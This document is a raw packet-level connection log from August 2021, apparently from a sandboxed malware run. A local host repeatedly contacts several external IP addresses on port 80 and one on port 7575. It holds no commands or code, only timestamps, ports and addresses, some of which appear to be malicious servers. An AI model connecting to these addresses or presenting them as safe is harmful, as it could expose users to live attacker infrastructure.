Aug 21, 2021 21:45:58.309998035 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310024023 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310064077 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310066938 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310101032 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310137987 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310137987 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310173988 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310219049 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310261011 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310267925 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310297012 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310308933 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310334921 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310370922 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310400009 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310417891 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310460091 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310467958 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310496092 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310533047 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310547113 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310569048 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310606003 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310633898 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310643911 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310678959 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310689926 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.310713053 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.310772896 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:59.188240051 CEST	49711	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:59.347381115 CEST	80	49711	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:59.347567081 CEST	49711	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:59.348068953 CEST	49711	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:59.348110914 CEST	49711	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:59.506464005 CEST	80	49711	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:00.057843924 CEST	80	49711	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:00.058279037 CEST	80	49711	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:00.059536934 CEST	49711	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:00.059705019 CEST	49711	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:00.157080889 CEST	49713	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:00.217350960 CEST	80	49711	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:00.314620972 CEST	80	49713	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:00.316278934 CEST	49713	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:00.335680008 CEST	49713	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:00.335717916 CEST	49713	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:00.495309114 CEST	80	49713	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.035336971 CEST	80	49713	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.036297083 CEST	80	49713	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.036386013 CEST	49713	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.038115025 CEST	49713	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.090779066 CEST	49715	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.195542097 CEST	80	49713	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.246965885 CEST	80	49715	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.247560978 CEST	49715	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.247817039 CEST	49715	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.247946978 CEST	49715	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.407083035 CEST	80	49715	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.948211908 CEST	80	49715	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.948482990 CEST	80	49715	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:01.951013088 CEST	49715	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.951044083 CEST	49715	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:01.993633986 CEST	49718	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:02.107222080 CEST	80	49715	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:02.150559902 CEST	80	49718	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:02.150695086 CEST	49718	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:02.150796890 CEST	49718	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:02.150816917 CEST	49718	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:02.308017969 CEST	80	49718	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:03.253132105 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:03.253232002 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:03.253766060 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:03.280081034 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:07.358669996 CEST	80	49718	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:07.358824968 CEST	80	49718	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:07.358989954 CEST	49718	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:07.591176033 CEST	49718	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:07.638722897 CEST	49725	80	192.168.2.7	193.142.59.248
Aug 21, 2021 21:46:07.747625113 CEST	80	49718	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:10.649720907 CEST	49725	80	192.168.2.7	193.142.59.248
Aug 21, 2021 21:46:16.692909002 CEST	49725	80	192.168.2.7	193.142.59.248
Aug 21, 2021 21:46:18.042524099 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:18.068685055 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:18.069017887 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:18.393788099 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:18.422563076 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:18.427540064 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:18.458060026 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:18.568252087 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:25.478400946 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:25.507435083 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:25.508706093 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:25.582650900 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:25.582689047 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:25.582710981 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:25.582750082 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:25.582788944 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:25.583024979 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:28.843204021 CEST	49734	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:29.001674891 CEST	80	49734	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:29.001822948 CEST	49734	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:29.002110958 CEST	49734	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:29.002130032 CEST	49734	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:29.160115957 CEST	80	49734	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:29.532701969 CEST	80	49734	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:29.532896042 CEST	49734	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:29.533554077 CEST	80	49734	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:29.533658981 CEST	49734	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:29.595904112 CEST	49735	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:29.690499067 CEST	80	49734	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:29.758878946 CEST	80	49735	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:29.759098053 CEST	49735	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:29.759198904 CEST	49735	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:29.759212971 CEST	49735	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:29.921679020 CEST	80	49735	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:30.296260118 CEST	80	49735	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:30.296339035 CEST	80	49735	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:30.296482086 CEST	49735	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:30.296643972 CEST	49735	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:30.383337975 CEST	49736	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:30.459600925 CEST	80	49735	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:30.542963028 CEST	80	49736	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:30.543389082 CEST	49736	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:30.543687105 CEST	49736	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:30.543706894 CEST	49736	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:30.703305006 CEST	80	49736	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:31.075297117 CEST	80	49736	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:31.075330019 CEST	80	49736	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:31.075644016 CEST	49736	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:31.075675011 CEST	49736	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:31.128472090 CEST	49737	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:31.234817982 CEST	80	49736	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:31.293541908 CEST	80	49737	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:31.294661999 CEST	49737	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:31.294975996 CEST	49737	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:31.295001030 CEST	49737	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:31.459312916 CEST	80	49737	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:31.459341049 CEST	80	49737	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:31.828775883 CEST	80	49737	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:31.828983068 CEST	80	49737	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:31.829175949 CEST	49737	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:31.829206944 CEST	49737	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:31.857120037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.883563995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.883805990 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.883970976 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.910303116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910801888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910850048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910885096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910904884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910929918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910952091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910974979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.910995007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.911012888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.911031961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.911290884 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.937757015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937798977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937822104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937844992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937868118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937890053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937911034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937932968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937954903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.937980890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938005924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938029051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938051939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938072920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938096046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938119888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938142061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938167095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938172102 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.938190937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938214064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.938245058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.938275099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.964620113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964668036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964693069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964715958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964732885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964757919 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964782953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964804888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964827061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964848995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964870930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964893103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964915037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964940071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964981079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.964998960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965023041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965044975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965070963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965095043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965117931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965141058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965163946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965187073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965209961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965260983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965287924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965311050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965332985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965358019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965378046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965399027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965420008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965442896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965445995 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.965466976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965492010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965516090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965528011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.965536118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.965544939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965553045 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.965568066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965590000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.965598106 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.965670109 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.991862059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.991893053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.991915941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.991938114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.991964102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.991987944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992012024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992033958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992057085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992079020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992100954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992125988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992152929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992193937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992217064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992223024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992240906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992259026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992263079 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992263079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992281914 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992285967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992309093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992285967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992321014 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992331028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992342949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992357016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992379904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992417097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992440939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992444992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992469072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992490053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992512941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992530107 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992535114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992536068 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992562056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992585897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992602110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992608070 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992607117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992630959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992652893 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992675066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992677927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992696047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992716074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992718935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992743969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992744923 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992767096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992789984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992805958 CEST	80	49737	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:31.992824078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992851019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992862940 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992875099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992897034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992918968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992933035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992939949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.992940903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992963076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992985010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.992988110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.993006945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.993032932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:31.993068933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:31.993076086 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.019392014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.019426107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.019541979 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.021862984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.021898985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.021922112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.021945000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.021970034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.021997929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022022009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022043943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022068024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022089958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022109985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022129059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022151947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022173882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022192955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022212029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022233009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022253036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022275925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022295952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022315025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022339106 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022341967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.022361994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022382975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022406101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022428036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022454977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022478104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022500992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.022522926 CEST	80	49738	45.138.172.28	192.168.2.7
